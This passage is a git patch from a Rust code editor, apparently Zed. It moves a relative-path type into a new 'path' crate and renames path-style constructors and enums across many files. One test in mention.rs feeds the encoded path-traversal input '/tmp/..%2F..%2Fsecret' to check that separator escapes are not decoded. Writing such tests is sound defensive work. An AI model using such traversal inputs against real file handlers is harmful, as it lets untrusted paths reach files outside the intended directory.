 crates/project/src/project.rs                 |  12 +-
 crates/project/src/project_settings.rs        |   4 +-
 crates/project/src/toolchain_store.rs         |  19 +-
 crates/project/src/worktree_store.rs          |   8 +-
 crates/project/tests/integration/git_store.rs |  34 +-
 .../tests/integration/project_search.rs       |   4 +-
 .../tests/integration/project_tests.rs        |   2 +-
 crates/project_panel/benches/sorting.rs       |   2 +-
 crates/project_panel/src/project_panel.rs     |  35 +-
 crates/project_symbols/src/project_symbols.rs |   2 +-
 .../src/dev_container_suggest.rs              |   4 +-
 crates/recent_projects/src/remote_servers.rs  |   4 +-
 crates/remote/src/transport/docker.rs         |  18 +-
 crates/remote/src/transport/ssh.rs            |  26 +-
 crates/remote/src/transport/wsl.rs            |  32 +-
 crates/remote_server/src/headless_project.rs  |   6 +-
 crates/settings/src/editorconfig_store.rs     |   4 +-
 crates/settings/src/settings_store.rs         |  30 +-
 crates/settings_ui/src/settings_ui.rs         |   6 +-
 crates/util/Cargo.toml                        |   4 +-
 crates/util/src/paths.rs                      | 484 ++++++------------
 crates/util/src/util.rs                       |  36 +-
 crates/workspace/src/pane.rs                  |   4 +-
 crates/workspace/src/persistence.rs           |   5 +-
 crates/workspace/src/security_modal.rs        |   6 +-
 crates/worktree/src/worktree.rs               |  77 +--
 .../tests/integration/worktree_tests.rs       |   8 +-
 93 files changed, 1457 insertions(+), 838 deletions(-)
 create mode 100644 crates/path/Cargo.toml
 create mode 120000 crates/path/LICENSE-APACHE
 create mode 100644 crates/path/src/abs_path.rs
 create mode 100644 crates/path/src/path.rs
 rename crates/{util => path}/src/rel_path.rs (62%)

diff --git a/Cargo.lock b/Cargo.lock
index b48dfe2dd53755..a3cc7323822074 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6320,6 +6320,7 @@ dependencies = [
  "log",
  "lsp",
  "parking_lot",
+ "path",
  "pretty_assertions",
  "proto",
  "semver",
@@ -6909,6 +6910,7 @@ dependencies = [
  "log",
  "notify 9.0.0-rc.4",
  "parking_lot",
+ "path",
  "paths",
  "proto",
  "rope",
@@ -9755,13 +9757,13 @@ dependencies = [
  "log",
  "lsp-types",
  "parking_lot",
+ "path",
  "regex",
  "schemars 1.0.4",
  "serde",
  "serde_json",
  "toml 0.8.23",
  "tree-sitter",
- "util",
 ]
 
 [[package]]
@@ -12706,6 +12708,16 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "35fb2e5f958ec131621fdd531e9fc186ed768cbe395337403ae56c17a74c68ec"
 
+[[package]]
+name = "path"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "dunce",
+ "serde",
+ "tempfile",
+]
+
 [[package]]
 name = "pathdiff"
 version = "0.2.3"
@@ -14041,6 +14053,7 @@ dependencies = [
  "markdown",
  "node_runtime",
  "parking_lot",
+ "path",
  "paths",
  "percent-encoding",
  "postage",
@@ -19955,6 +19968,7 @@ dependencies = [
  "log",
  "mach2 0.5.0",
  "nix 0.29.0",
+ "path",
  "percent-encoding",
  "pretty_assertions",
  "rand 0.9.4",
diff --git a/Cargo.toml b/Cargo.toml
index 4f827f0c421925..62c2381988b61a 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -151,6 +151,7 @@ members = [
     "crates/outline",
     "crates/outline_panel",
     "crates/panel",
+    "crates/path",
     "crates/paths",
     "crates/picker",
     "crates/picker_preview",
@@ -414,6 +415,7 @@ outline = { path = "crates/outline" }
 outline_panel = { path = "crates/outline_panel" }
 panel = { path = "crates/panel" }
 paths = { path = "crates/paths" }
+path = { path = "crates/path" }
 perf = { path = "tooling/perf" }
 picker = { path = "crates/picker" }
 picker_preview = { path = "crates/picker_preview" }
diff --git a/crates/acp_thread/src/mention.rs b/crates/acp_thread/src/mention.rs
index 93e7b4d846b7c7..3686f2955c1abf 100644
--- a/crates/acp_thread/src/mention.rs
+++ b/crates/acp_thread/src/mention.rs
@@ -1095,8 +1095,7 @@ mod tests {
 
     #[test]
     fn test_posix_paths_are_not_rewritten_as_windows_drives() {
-        let parsed =
-            MentionUri::parse_hyperlink("/c/Projects/AGENTS.md", PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse_hyperlink("/c/Projects/AGENTS.md", PathStyle::Unix).unwrap();
         match parsed {
             MentionUri::File { abs_path } => {
                 assert_eq!(abs_path, PathBuf::from("/c/Projects/AGENTS.md"));
@@ -1107,7 +1106,7 @@ mod tests {
 
     #[test]
     fn test_hyperlink_percent_escapes_are_decoded() {
-        let parsed = MentionUri::parse_hyperlink("/tmp/a%20b.rs", PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse_hyperlink("/tmp/a%20b.rs", PathStyle::Unix).unwrap();
         assert_eq!(
             parsed,
             MentionUri::File {
@@ -1126,15 +1125,14 @@ mod tests {
         );
 
         // Separator escapes stay encoded (no introduced path traversal).
-        let parsed = MentionUri::parse_hyperlink("/tmp/a%2Fb.rs", PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse_hyperlink("/tmp/a%2Fb.rs", PathStyle::Unix).unwrap();
         assert_eq!(
             parsed,
             MentionUri::File {
                 abs_path: PathBuf::from("/tmp/a%2Fb.rs")
             }
         );
-        let parsed =
-            MentionUri::parse_hyperlink("/tmp/..%2F..%2Fsecret", PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse_hyperlink("/tmp/..%2F..%2Fsecret", PathStyle::Unix).unwrap();
         assert_eq!(
             parsed,
             MentionUri::File {
@@ -1145,7 +1143,7 @@ mod tests {
 
     #[test]
     fn test_parse_keeps_bare_path_targets_verbatim() {
-        let parsed = MentionUri::parse("/tmp/a%20b.rs", PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse("/tmp/a%20b.rs", PathStyle::Unix).unwrap();
         assert_eq!(
             parsed,
             MentionUri::File {
@@ -1165,7 +1163,7 @@ mod tests {
     #[test]
     fn test_parse_hyperlink_literal_keeps_percent_escapes() {
         let literal =
-            MentionUri::parse_hyperlink_literal("/tmp/a%20b.rs", PathStyle::Posix).unwrap();
+            MentionUri::parse_hyperlink_literal("/tmp/a%20b.rs", PathStyle::Unix).unwrap();
         assert_eq!(
             literal,
             MentionUri::File {
@@ -1175,7 +1173,7 @@ mod tests {
 
         // Line suffixes still parse.
         let literal =
-            MentionUri::parse_hyperlink_literal("/tmp/a%20b.rs:42", PathStyle::Posix).unwrap();
+            MentionUri::parse_hyperlink_literal("/tmp/a%20b.rs:42", PathStyle::Unix).unwrap();
         assert_eq!(
             literal,
             MentionUri::Selection {
@@ -1200,27 +1198,27 @@ mod tests {
     fn test_parse_hyperlink_literal_returns_none_when_unambiguous() {
         // No percent escapes: identical to `parse_hyperlink`.
         assert_eq!(
-            MentionUri::parse_hyperlink_literal("/tmp/a b.rs", PathStyle::Posix),
+            MentionUri::parse_hyperlink_literal("/tmp/a b.rs", PathStyle::Unix),
             None
         );
         // Invalid escape sequences are also left alone by `parse_hyperlink`.
         assert_eq!(
-            MentionUri::parse_hyperlink_literal("/tmp/100%_done.txt", PathStyle::Posix),
+            MentionUri::parse_hyperlink_literal("/tmp/100%_done.txt", PathStyle::Unix),
             None
         );
         // Separator escapes are never decoded, so they're not ambiguous.
         assert_eq!(
-            MentionUri::parse_hyperlink_literal("/tmp/a%2Fb.rs", PathStyle::Posix),
+            MentionUri::parse_hyperlink_literal("/tmp/a%2Fb.rs", PathStyle::Unix),
             None
         );
         // URLs are spec-encoded, not ambiguous.
         assert_eq!(
-            MentionUri::parse_hyperlink_literal("file:///tmp/a%20b.rs", PathStyle::Posix),
+            MentionUri::parse_hyperlink_literal("file:///tmp/a%20b.rs", PathStyle::Unix),
             None
         );
         // Relative paths are not bare-path mentions.
         assert_eq!(
-            MentionUri::parse_hyperlink_literal("tmp/a%20b.rs", PathStyle::Posix),
+            MentionUri::parse_hyperlink_literal("tmp/a%20b.rs", PathStyle::Unix),
             None
         );
     }
@@ -1476,7 +1474,7 @@ mod tests {
     #[test]
     fn test_parse_absolute_file_path_with_row() {
         let file_path = "/path/to/file.rs:42";
-        let parsed = MentionUri::parse(file_path, PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse(file_path, PathStyle::Unix).unwrap();
         match &parsed {
             MentionUri::Selection {
                 abs_path: path,
@@ -1494,7 +1492,7 @@ mod tests {
     #[test]
     fn test_parse_absolute_file_path_with_row_and_column() {
         let file_path = "/path/to/file.rs:42:5";
-        let parsed = MentionUri::parse(file_path, PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse(file_path, PathStyle::Unix).unwrap();
         match &parsed {
             MentionUri::Selection {
                 abs_path: path,
@@ -1506,7 +1504,7 @@ mod tests {
                 assert_eq!(line_range.end(), &41);
                 assert_eq!(column, &Some(4));
 
-                let parsed_again = MentionUri::parse(parsed.to_uri().as_ref(), PathStyle::Posix)
+                let parsed_again = MentionUri::parse(parsed.to_uri().as_ref(), PathStyle::Unix)
                     .expect("selection URI with column should parse");
                 assert_eq!(parsed_again, parsed.clone());
             }
@@ -1517,7 +1515,7 @@ mod tests {
     #[test]
     fn test_parse_absolute_file_path_with_fragment_line() {
         let file_path = "/path/to/file.rs#L42";
-        let parsed = MentionUri::parse(file_path, PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse(file_path, PathStyle::Unix).unwrap();
         match &parsed {
             MentionUri::Selection {
                 abs_path: path,
@@ -1589,7 +1587,7 @@ mod tests {
     #[test]
     fn test_parse_backticked_absolute_file_path() {
         let file_path = "`/path/to/file.rs`";
-        let parsed = MentionUri::parse(file_path, PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse(file_path, PathStyle::Unix).unwrap();
         match &parsed {
             MentionUri::File { abs_path } => {
                 assert_eq!(abs_path, Path::new("/path/to/file.rs"));
@@ -1601,7 +1599,7 @@ mod tests {
     #[test]
     fn test_parse_backticked_absolute_file_path_with_fragment_line() {
         let file_path = "`/path/to/file.rs#L42`";
-        let parsed = MentionUri::parse(file_path, PathStyle::Posix).unwrap();
+        let parsed = MentionUri::parse(file_path, PathStyle::Unix).unwrap();
         match &parsed {
             MentionUri::Selection {
                 abs_path: path,
diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index 381af5e2fa3027..f96174baac1586 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -446,18 +446,22 @@ impl gpui::EventEmitter<SkillLoadingIssuesUpdated> for NativeAgent {}
 static RULES_FILE_REL_PATHS: LazyLock<Vec<Arc<RelPath>>> = LazyLock::new(|| {
     RULES_FILE_NAMES
         .iter()
-        .filter_map(|name| RelPath::unix(name).ok().map(|path| path.into_arc()))
+        .filter_map(|name| {
+            RelPath::from_unix_str(name)
+                .ok()
+                .map(|path| path.into_arc())
+        })
         .collect()
 });
 
 static AGENTS_PREFIX: LazyLock<Option<Arc<RelPath>>> = LazyLock::new(|| {
-    RelPath::unix(AGENTS_DIR_NAME)
+    RelPath::from_unix_str(AGENTS_DIR_NAME)
         .ok()
         .map(|path| path.into_arc())
 });
 
 static SKILLS_PREFIX: LazyLock<Option<Arc<RelPath>>> = LazyLock::new(|| {
-    RelPath::unix(project_skills_relative_path())
+    RelPath::from_unix_str(project_skills_relative_path())
         .ok()
         .map(|path| path.into_arc())
 });
@@ -492,7 +496,7 @@ async fn expand_project_skills_directories(
     worktree: &Entity<Worktree>,
     cx: &mut AsyncApp,
 ) -> Result<()> {
-    let agents_dir = RelPath::unix(AGENTS_DIR_NAME)?;
+    let agents_dir = RelPath::from_unix_str(AGENTS_DIR_NAME)?;
     let Some(skills_prefix) = SKILLS_PREFIX.as_ref() else {
         return Ok(());
     };
@@ -518,7 +522,7 @@ fn project_skill_files_from_worktree(worktree: &Worktree) -> Vec<ProjectSkillFil
     let Some(skills_prefix) = SKILLS_PREFIX.as_ref() else {
         return Vec::new();
     };
-    let Ok(skill_file_name) = RelPath::unix(SKILL_FILE_NAME) else {
+    let Ok(skill_file_name) = RelPath::from_unix_str(SKILL_FILE_NAME) else {
         return Vec::new();
     };
 
@@ -538,7 +542,7 @@ fn project_skill_files_from_worktree(worktree: &Worktree) -> Vec<ProjectSkillFil
 
         skill_files.push(ProjectSkillFile {
             display_path: worktree.absolutize(&relative_path),
-            relative_path,
+            relative_path: relative_path.into(),
             size: skill_file.size,
         });
     }
diff --git a/crates/agent/src/templates.rs b/crates/agent/src/templates.rs
index 6b0942dca9305d..51952c07dc11e4 100644
--- a/crates/agent/src/templates.rs
+++ b/crates/agent/src/templates.rs
@@ -122,7 +122,7 @@ mod tests {
             root_name: "my-project".to_string(),
             abs_path: std::path::Path::new("/tmp/my-project").into(),
             rules_file: Some(RulesFileContext {
-                path_in_worktree: RelPath::unix("AGENTS.md").unwrap().into(),
+                path_in_worktree: RelPath::from_unix_str("AGENTS.md").unwrap().into(),
                 text: "project-specific guidance".to_string(),
                 project_entry_id: 1,
             }),
diff --git a/crates/agent/src/tools/edit_session.rs b/crates/agent/src/tools/edit_session.rs
index d47a87123338e8..bf5308e90daa73 100644
--- a/crates/agent/src/tools/edit_session.rs
+++ b/crates/agent/src/tools/edit_session.rs
@@ -1245,11 +1245,11 @@ fn resolve_path(
             let file_name = path
                 .file_name()
                 .and_then(|file_name| file_name.to_str())
-                .and_then(|file_name| RelPath::unix(file_name).ok())
+                .and_then(|file_name| RelPath::from_unix_str(file_name).ok())
                 .ok_or_else(|| "Can't create file: invalid filename".to_string())?;
 
             let new_file_path = parent_project_path.map(|parent| ProjectPath {
-                path: parent.path.join(file_name),
+                path: parent.path.join(file_name).into(),
                 ..parent
             });
 
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index c610bf0a06a06c..86da545d9754da 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -238,7 +238,7 @@ fn project_agents_md_path(
     require_existing_file: bool,
     cx: &App,
 ) -> Option<PathBuf> {
-    let rel_path = util::rel_path::RelPath::unix("AGENTS.md").ok()?;
+    let rel_path = util::rel_path::RelPath::from_unix_str("AGENTS.md").ok()?;
     project
         .read(cx)
         .visible_worktrees(cx)
diff --git a/crates/agent_ui/src/mention_set.rs b/crates/agent_ui/src/mention_set.rs
index 78579c8046202c..d04f222e186a5b 100644
--- a/crates/agent_ui/src/mention_set.rs
+++ b/crates/agent_ui/src/mention_set.rs
@@ -1248,8 +1248,7 @@ fn full_mention_for_directory(
                 |(worktree_path, full_path): (Arc<RelPath>, String)| {
                     let rel_path = worktree_path
                         .strip_prefix(&directory_path)
-                        .log_err()
-                        .map_or_else(|| worktree_path.clone(), |rel_path| rel_path.into());
+                        .map_or_else(|_| worktree_path.clone(), |rel_path| rel_path.into());
 
                     let open_task = project.update(cx, |project, cx| {
                         project.buffer_store().update(cx, |buffer_store, cx| {
diff --git a/crates/client/src/telemetry.rs b/crates/client/src/telemetry.rs
index 0f7ee3174c3248..771a0f56052e46 100644
--- a/crates/client/src/telemetry.rs
+++ b/crates/client/src/telemetry.rs
@@ -1077,7 +1077,7 @@ mod tests {
             .enumerate()
             .filter_map(|(i, path)| {
                 Some((
-                    Arc::from(RelPath::unix(path).ok()?),
+                    Arc::from(RelPath::from_unix_str(path).ok()?),
                     ProjectEntryId::from_proto(i as u64 + 1),
                     PathChange::Added,
                 ))
diff --git a/crates/collab/src/db/queries/projects.rs b/crates/collab/src/db/queries/projects.rs
index 3cf82e8518cb14..add702ff23b4e4 100644
--- a/crates/collab/src/db/queries/projects.rs
+++ b/crates/collab/src/db/queries/projects.rs
@@ -961,7 +961,7 @@ impl Database {
         let path_style = if project.windows_paths {
             PathStyle::Windows
         } else {
-            PathStyle::Posix
+            PathStyle::Unix
         };
         let features: Vec<String> = serde_json::from_str(&project.features).unwrap_or_default();
 
diff --git a/crates/collab/tests/integration/random_project_collaboration_tests.rs b/crates/collab/tests/integration/random_project_collaboration_tests.rs
index c997f16ad31bff..391cef208d3e4f 100644
--- a/crates/collab/tests/integration/random_project_collaboration_tests.rs
+++ b/crates/collab/tests/integration/random_project_collaboration_tests.rs
@@ -448,7 +448,7 @@ impl RandomizedTest for ProjectCollaborationTest {
                                     .choose(rng)
                                     .unwrap();
                                 if entry.path.as_ref().is_empty() {
-                                    worktree.root_name().into()
+                                    worktree.root_name().to_rel_path_buf()
                                 } else {
                                     worktree.root_name().join(&entry.path)
                                 }
@@ -1524,7 +1524,7 @@ fn buffer_for_full_path(
                 else {
                     return false;
                 };
-                worktree.read(cx).root_name().join(&file.path()).as_ref() == full_path
+                worktree.read(cx).root_name().join(&file.path()) == *full_path
             })
         })
         .cloned()
diff --git a/crates/debugger_ui/src/debugger_panel.rs b/crates/debugger_ui/src/debugger_panel.rs
index aa1bd4455c672a..8b2af4afbe961f 100644
--- a/crates/debugger_ui/src/debugger_panel.rs
+++ b/crates/debugger_ui/src/debugger_panel.rs
@@ -1090,14 +1090,14 @@ impl DebugPanel {
                 directory_in_worktree: dir,
                 ..
             } => {
-                let relative_path = if dir.ends_with(RelPath::unix(".vscode").unwrap()) {
-                    dir.join(RelPath::unix("launch.json").unwrap())
+                let relative_path = if dir.ends_with(RelPath::from_unix_str(".vscode").unwrap()) {
+                    dir.join(RelPath::from_unix_str("launch.json").unwrap())
                 } else {
-                    dir.join(RelPath::unix("debug.json").unwrap())
+                    dir.join(RelPath::from_unix_str("debug.json").unwrap())
                 };
                 ProjectPath {
                     worktree_id: id,
-                    path: relative_path,
+                    path: relative_path.into(),
                 }
             }
             _ => return self.save_scenario(scenario, worktree_id, window, cx),
diff --git a/crates/debugger_ui/src/new_process_modal.rs b/crates/debugger_ui/src/new_process_modal.rs
index eabcdfbd429187..bb72a8dd172d42 100644
--- a/crates/debugger_ui/src/new_process_modal.rs
+++ b/crates/debugger_ui/src/new_process_modal.rs
@@ -1069,10 +1069,10 @@ impl DebugDelegate {
 
                     match path.components().next_back() {
                         Some(".zed") => {
-                            path.push(RelPath::unix("debug.json").unwrap());
+                            path.push(RelPath::from_unix_str("debug.json").unwrap());
                         }
                         Some(".vscode") => {
-                            path.push(RelPath::unix("launch.json").unwrap());
+                            path.push(RelPath::from_unix_str("launch.json").unwrap());
                         }
                         _ => {}
                     }
@@ -1165,7 +1165,7 @@ impl DebugDelegate {
                         id: _,
                         directory_in_worktree: dir,
                         id_base: _,
-                    } => dir.ends_with(RelPath::unix(".zed").unwrap()),
+                    } => dir.ends_with(RelPath::from_unix_str(".zed").unwrap()),
                     _ => false,
                 });
 
@@ -1186,7 +1186,8 @@ impl DebugDelegate {
                                     id_base: _,
                                 } => {
                                     !(hide_vscode
-                                        && dir.ends_with(RelPath::unix(".vscode").unwrap()))
+                                        && dir
+                                            .ends_with(RelPath::from_unix_str(".vscode").unwrap()))
                                 }
                                 _ => true,
                             })
diff --git a/crates/debugger_ui/src/session/running/stack_frame_list.rs b/crates/debugger_ui/src/session/running/stack_frame_list.rs
index 738a44df7d0595..aa8f3483a68bd1 100644
--- a/crates/debugger_ui/src/session/running/stack_frame_list.rs
+++ b/crates/debugger_ui/src/session/running/stack_frame_list.rs
@@ -524,7 +524,7 @@ impl StackFrameList {
                 .filter(|path| {
                     // Since we do not know if we are debugging on the host or (a remote/WSL) target,
                     // we need to check if either the path is absolute as Posix or Windows.
-                    is_absolute(path, PathStyle::Posix) || is_absolute(path, PathStyle::Windows)
+                    is_absolute(path, PathStyle::Unix) || is_absolute(path, PathStyle::Windows)
                 })
                 .map(|path| Arc::<Path>::from(Path::new(path)))
         })
diff --git a/crates/dev_container/src/devcontainer_api.rs b/crates/dev_container/src/devcontainer_api.rs
index a5ba5edd6f85d8..395d50b6bd3dd4 100644
--- a/crates/dev_container/src/devcontainer_api.rs
+++ b/crates/dev_container/src/devcontainer_api.rs
@@ -172,13 +172,13 @@ pub fn find_devcontainer_configs(workspace: &Workspace, cx: &gpui::App) -> Vec<D
 pub fn find_configs_in_snapshot(snapshot: &Snapshot) -> Vec<DevContainerConfig> {
     let mut configs = Vec::new();
 
-    let devcontainer_dir_path = RelPath::unix(".devcontainer").expect("valid path");
+    let devcontainer_dir_path = RelPath::from_unix_str(".devcontainer").expect("valid path");
 
     if let Some(devcontainer_entry) = snapshot.entry_for_path(devcontainer_dir_path) {
         if devcontainer_entry.is_dir() {
             log::debug!("find_configs_in_snapshot: Scanning .devcontainer directory");
             let devcontainer_json_path =
-                RelPath::unix(".devcontainer/devcontainer.json").expect("valid path");
+                RelPath::from_unix_str(".devcontainer/devcontainer.json").expect("valid path");
             for entry in snapshot.child_entries(devcontainer_dir_path) {
                 log::debug!(
                     "find_configs_in_snapshot: Found entry: {:?}, is_file: {}, is_dir: {}",
@@ -199,7 +199,7 @@ pub fn find_configs_in_snapshot(snapshot: &Snapshot) -> Vec<DevContainerConfig>
 
                     let config_json_path =
                         format!("{}/devcontainer.json", entry.path.as_unix_str());
-                    if let Ok(rel_config_path) = RelPath::unix(&config_json_path) {
+                    if let Ok(rel_config_path) = RelPath::from_unix_str(&config_json_path) {
                         if snapshot.entry_for_path(rel_config_path).is_some() {
                             log::debug!(
                                 "find_configs_in_snapshot: Found config in subfolder: {}",
@@ -223,7 +223,7 @@ pub fn find_configs_in_snapshot(snapshot: &Snapshot) -> Vec<DevContainerConfig>
 
     // Always include `.devcontainer.json` so the user can pick it from the UI
     // even when `.devcontainer/devcontainer.json` also exists.
-    let root_config_path = RelPath::unix(".devcontainer.json").expect("valid path");
+    let root_config_path = RelPath::from_unix_str(".devcontainer.json").expect("valid path");
     if snapshot
         .entry_for_path(root_config_path)
         .is_some_and(|entry| entry.is_file())
@@ -400,7 +400,7 @@ pub(crate) async fn apply_devcontainer_template(
             log::error!("Can't create relative path: {e}");
             DevContainerError::FilesystemError
         })?;
-        let rel_path = RelPath::unix(relative_path)
+        let rel_path = RelPath::from_unix_str(relative_path)
             .map_err(|e| {
                 log::error!("Can't create relative path: {e}");
                 DevContainerError::FilesystemError
diff --git a/crates/dev_container/src/lib.rs b/crates/dev_container/src/lib.rs
index 963c5a57a29e3a..f34a81bef77ea8 100644
--- a/crates/dev_container/src/lib.rs
+++ b/crates/dev_container/src/lib.rs
@@ -1579,11 +1579,12 @@ fn dispatch_apply_templates(
             };
 
             if files.project_files.contains(&Arc::from(
-                RelPath::unix(".devcontainer/devcontainer.json").unwrap(),
+                RelPath::from_unix_str(".devcontainer/devcontainer.json").unwrap(),
             )) {
                 let Some(workspace_task) = workspace
                     .update_in(cx, |workspace, window, cx| {
-                        let Ok(path) = RelPath::unix(".devcontainer/devcontainer.json") else {
+                        let Ok(path) = RelPath::from_unix_str(".devcontainer/devcontainer.json")
+                        else {
                             return Task::ready(Err(anyhow!(
                                 "Couldn't create path for .devcontainer/devcontainer.json"
                             )));
diff --git a/crates/edit_prediction/src/udiff.rs b/crates/edit_prediction/src/udiff.rs
index 8f095d8bc70489..8411adde72ed78 100644
--- a/crates/edit_prediction/src/udiff.rs
+++ b/crates/edit_prediction/src/udiff.rs
@@ -309,12 +309,12 @@ pub async fn refresh_worktree_entries(
 ) -> Result<()> {
     let mut rel_paths = Vec::new();
     for path in paths {
-        if let Ok(rel_path) = RelPath::new(path, PathStyle::Posix) {
+        if let Ok(rel_path) = RelPath::new(path, PathStyle::Unix) {
             rel_paths.push(rel_path.into_arc());
         }
 
         let path_without_root: PathBuf = path.components().skip(1).collect();
-        if let Ok(rel_path) = RelPath::new(&path_without_root, PathStyle::Posix) {
+        if let Ok(rel_path) = RelPath::new(&path_without_root, PathStyle::Unix) {
             rel_paths.push(rel_path.into_arc());
         }
     }
diff --git a/crates/edit_prediction_context/src/edit_prediction_context.rs b/crates/edit_prediction_context/src/edit_prediction_context.rs
index b5ab87a1738b82..d2be8f2ce6ac1d 100644
--- a/crates/edit_prediction_context/src/edit_prediction_context.rs
+++ b/crates/edit_prediction_context/src/edit_prediction_context.rs
@@ -178,7 +178,7 @@ impl RelatedExcerptStore {
                     .path
                     .strip_prefix(worktree.root_name().as_unix_str())
                     .ok()?;
-                let relative_path = RelPath::new(relative_path, PathStyle::Posix).ok()?;
+                let relative_path = RelPath::new(relative_path, PathStyle::Unix).ok()?;
                 let project_path = ProjectPath {
                     worktree_id: worktree.id(),
                     path: relative_path.into_owned().into(),
diff --git a/crates/edit_prediction_context/src/editable_context.rs b/crates/edit_prediction_context/src/editable_context.rs
index f985b5dbb07630..ce275191417bab 100644
--- a/crates/edit_prediction_context/src/editable_context.rs
+++ b/crates/edit_prediction_context/src/editable_context.rs
@@ -652,7 +652,7 @@ async fn collect_git_log_context(
         .into_iter()
         .enumerate()
     {
-        let Ok(related_path) = RelPath::new(&related_path, PathStyle::Posix) else {
+        let Ok(related_path) = RelPath::new(&related_path, PathStyle::Unix) else {
             continue;
         };
         let project_path = ProjectPath {
diff --git a/crates/editor/src/clipboard.rs b/crates/editor/src/clipboard.rs
index 02c4d6c818ee33..b6875bee48083c 100644
--- a/crates/editor/src/clipboard.rs
+++ b/crates/editor/src/clipboard.rs
@@ -740,9 +740,9 @@ fn unused_image_path(
     let mut filename = format!("image.{extension}");
     let mut counter = 1u32;
     loop {
-        let candidate = dir_rel_path.join(RelPath::unix(&filename).ok()?);
+        let candidate = dir_rel_path.join(RelPath::from_unix_str(&filename).ok()?);
         if !exists(&candidate) {
-            return Some((filename, candidate));
+            return Some((filename, candidate.into()));
         }
         filename = format!("image_{counter}.{extension}");
         counter += 1;
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index df2d411181f407..8e933079c72b63 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -38855,7 +38855,7 @@ fn test_hunk_key(file_path: &str) -> DiffHunkKey {
         file_path: if file_path.is_empty() {
             Arc::from(util::rel_path::RelPath::empty())
         } else {
-            Arc::from(util::rel_path::RelPath::unix(file_path).unwrap())
+            Arc::from(util::rel_path::RelPath::from_unix_str(file_path).unwrap())
         },
         hunk_start_anchor: Anchor::Min,
     }
@@ -38867,7 +38867,7 @@ fn test_hunk_key_with_anchor(file_path: &str, anchor: Anchor) -> DiffHunkKey {
         file_path: if file_path.is_empty() {
             Arc::from(util::rel_path::RelPath::empty())
         } else {
-            Arc::from(util::rel_path::RelPath::unix(file_path).unwrap())
+            Arc::from(util::rel_path::RelPath::from_unix_str(file_path).unwrap())
         },
         hunk_start_anchor: anchor,
     }
@@ -39306,11 +39306,11 @@ fn test_comments_stored_for_multiple_hunks(cx: &mut TestAppContext) {
         // Create two different hunk keys (simulating two different files)
         let anchor = snapshot.anchor_before(Point::new(0, 0));
         let key1 = DiffHunkKey {
-            file_path: Arc::from(util::rel_path::RelPath::unix("file1.rs").unwrap()),
+            file_path: Arc::from(util::rel_path::RelPath::from_unix_str("file1.rs").unwrap()),
             hunk_start_anchor: anchor,
         };
         let key2 = DiffHunkKey {
-            file_path: Arc::from(util::rel_path::RelPath::unix("file2.rs").unwrap()),
+            file_path: Arc::from(util::rel_path::RelPath::from_unix_str("file2.rs").unwrap()),
             hunk_start_anchor: anchor,
         };
 
@@ -39378,11 +39378,11 @@ fn test_same_hunk_detected_by_matching_keys(cx: &mut TestAppContext) {
 
         // Create two keys with the same file path and anchor
         let key1 = DiffHunkKey {
-            file_path: Arc::from(util::rel_path::RelPath::unix("file.rs").unwrap()),
+            file_path: Arc::from(util::rel_path::RelPath::from_unix_str("file.rs").unwrap()),
             hunk_start_anchor: anchor,
         };
         let key2 = DiffHunkKey {
-            file_path: Arc::from(util::rel_path::RelPath::unix("file.rs").unwrap()),
+            file_path: Arc::from(util::rel_path::RelPath::from_unix_str("file.rs").unwrap()),
             hunk_start_anchor: anchor,
         };
 
@@ -39399,7 +39399,7 @@ fn test_same_hunk_detected_by_matching_keys(cx: &mut TestAppContext) {
 
         // Create a key with different file path
         let different_file_key = DiffHunkKey {
-            file_path: Arc::from(util::rel_path::RelPath::unix("other.rs").unwrap()),
+            file_path: Arc::from(util::rel_path::RelPath::from_unix_str("other.rs").unwrap()),
             hunk_start_anchor: anchor,
         };
 
diff --git a/crates/editor/src/items.rs b/crates/editor/src/items.rs
index 4acdb10ff7560a..2bc890ed9724d9 100644
--- a/crates/editor/src/items.rs
+++ b/crates/editor/src/items.rs
@@ -2221,14 +2221,14 @@ fn restore_serialized_buffer_contents(
 fn serialize_path_key(path_key: &PathKey) -> proto::PathKey {
     proto::PathKey {
         sort_prefix: path_key.sort_prefix,
-        path: path_key.path.to_proto(),
+        path: path_key.path.as_unix_str().to_owned(),
     }
 }
 
 fn deserialize_path_key(path_key: proto::PathKey) -> Option<PathKey> {
     Some(PathKey {
         sort_prefix: path_key.sort_prefix,
-        path: RelPath::from_proto(&path_key.path).ok()?,
+        path: RelPath::from_unix_str(&path_key.path).ok()?.into(),
     })
 }
 
diff --git a/crates/extension/Cargo.toml b/crates/extension/Cargo.toml
index 59fc9c3c7ac18d..55af1f4007a473 100644
--- a/crates/extension/Cargo.toml
+++ b/crates/extension/Cargo.toml
@@ -26,6 +26,7 @@ language.workspace = true
 log.workspace = true
 lsp.workspace = true
 parking_lot.workspace = true
+path.workspace = true
 proto.workspace = true
 semver.workspace = true
 serde.workspace = true
diff --git a/crates/extension/src/extension.rs b/crates/extension/src/extension.rs
index 2ec8c8ea5f4032..850da7a69e8bf4 100644
--- a/crates/extension/src/extension.rs
+++ b/crates/extension/src/extension.rs
@@ -56,7 +56,7 @@ pub trait Extension: Send + Sync + 'static {
 
     /// Returns a path relative to this extension's working directory.
     fn path_from_extension(&self, path: &Path) -> PathBuf {
-        util::normalize_path(&self.work_dir().join(path))
+        path::normalize_path(&self.work_dir().join(path))
     }
 
     async fn language_server_command(
diff --git a/crates/extension/src/extension_builder.rs b/crates/extension/src/extension_builder.rs
